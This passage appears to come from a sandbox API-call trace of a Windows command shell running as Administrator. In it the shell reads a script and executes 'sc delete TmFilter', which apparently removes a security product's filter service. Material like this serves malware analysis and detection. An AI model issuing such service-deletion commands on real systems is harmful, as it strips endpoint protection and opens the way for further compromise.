kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.737] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.737] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.737] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.737] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.737] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.737] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.737] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.737] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="Tltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.737] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.737] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.737] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.737] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="mtap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.737] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.737] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.737] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.737] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Fap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.737] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.737] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.738] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.738] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="ip\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.738] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.738] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.738] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.738] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="l\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.738] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.738] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.738] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.738] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="t.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.738] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.738] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.738] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.738] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="e0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.738] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.738] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.738] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.738] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="r.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.738] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.738] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.738] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.738] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.739] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.739] GetFileType (hFile=0xb8) returned 0x3 [0078.739] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.739] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.739] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.739] GetFileType (hFile=0x120) returned 0x3 [0078.739] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmFilter\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmFilter\n", lpUsedDefaultChar=0x0) returned 20 [0078.739] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x13, lpOverlapped=0x0) returned 1 [0078.739] GetProcessHeap () returned 0x240000 [0078.739] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0078.739] GetProcessHeap () returned 0x240000 [0078.739] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0078.739] GetProcessHeap () returned 0x240000 [0078.739] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.739] GetProcessHeap () returned 0x240000 [0078.739] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.739] GetProcessHeap () returned 0x240000 [0078.739] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256510 [0078.739] GetConsoleOutputCP () returned 0x1b5 [0078.739] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.739] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.740] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256550 [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0078.740] SetErrorMode (uMode=0x0) returned 0x1 [0078.740] SetErrorMode (uMode=0x1) returned 0x0 [0078.740] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.740] SetErrorMode (uMode=0x1) returned 0x1 [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0078.740] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.740] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.740] GetProcessHeap () returned 0x240000 [0078.740] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.741] GetProcessHeap () returned 0x240000 [0078.741] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.741] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.741] GetProcessHeap () returned 0x240000 [0078.741] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.741] GetProcessHeap () returned 0x240000 [0078.741] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.741] GetProcessHeap () returned 0x240000 [0078.741] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.741] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.741] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.741] GetLastError () returned 0x2 [0078.741] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.741] GetLastError () returned 0x2 [0078.741] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.741] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.741] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.742] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.742] GetLastError () returned 0x2 [0078.742] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.742] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.742] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.742] GetProcessHeap () returned 0x240000 [0078.742] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.742] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.742] GetProcessHeap () returned 0x240000 [0078.742] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9e) returned 0x259180 [0078.742] GetProcessHeap () returned 0x240000 [0078.742] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9e [0078.742] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmFilter") returned 1 [0078.743] GetProcessHeap () returned 0x240000 [0078.743] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.743] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.743] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.743] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.743] GetProcessHeap () returned 0x240000 [0078.743] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.743] GetProcessHeap () returned 0x240000 [0078.743] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.743] GetProcessHeap () returned 0x240000 [0078.743] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.743] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmFilter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmFilter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TmFilter", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xabc, dwThreadId=0xae8)) returned 1 [0078.746] CloseHandle (hObject=0x50) returned 1 [0078.746] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.746] GetProcessHeap () returned 0x240000 [0078.746] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.746] GetEnvironmentStringsW () returned 0x25ba10* [0078.747] GetProcessHeap () returned 0x240000 [0078.747] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.747] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.747] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.747] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.747] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0078.804] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.804] CloseHandle (hObject=0x54) returned 1 [0078.804] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.804] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.804] GetProcessHeap () returned 0x240000 [0078.804] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.804] GetEnvironmentStringsW () returned 0x261b10* [0078.804] GetProcessHeap () returned 0x240000 [0078.804] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.804] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.805] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.805] GetProcessHeap () returned 0x240000 [0078.805] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.805] GetEnvironmentStringsW () returned 0x25ba10* [0078.805] GetProcessHeap () returned 0x240000 [0078.805] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.805] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.805] GetProcessHeap () returned 0x240000 [0078.805] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.805] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.805] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.805] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.805] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.806] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.806] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.806] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.806] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.806] GetConsoleOutputCP () returned 0x1b5 [0078.806] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.806] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.806] GetProcessHeap () returned 0x240000 [0078.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.806] GetProcessHeap () returned 0x240000 [0078.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.806] GetProcessHeap () returned 0x240000 [0078.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.806] GetProcessHeap () returned 0x240000 [0078.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0078.806] GetProcessHeap () returned 0x240000 [0078.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.807] GetProcessHeap () returned 0x240000 [0078.807] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.807] GetProcessHeap () returned 0x240000 [0078.807] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.807] GetProcessHeap () returned 0x240000 [0078.807] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.807] GetProcessHeap () returned 0x240000 [0078.807] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.807] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.807] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.807] GetFileType (hFile=0x120) returned 0x3 [0078.807] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.807] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.807] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.807] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.807] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.807] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.807] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.807] GetFileType (hFile=0x120) returned 0x3 [0078.807] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.807] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.808] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.808] GetFileType (hFile=0xb8) returned 0x3 [0078.808] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.808] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.808] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.808] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.808] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.808] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.808] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.808] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.808] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.808] _get_osfhandle (_FileHandle=0) returned 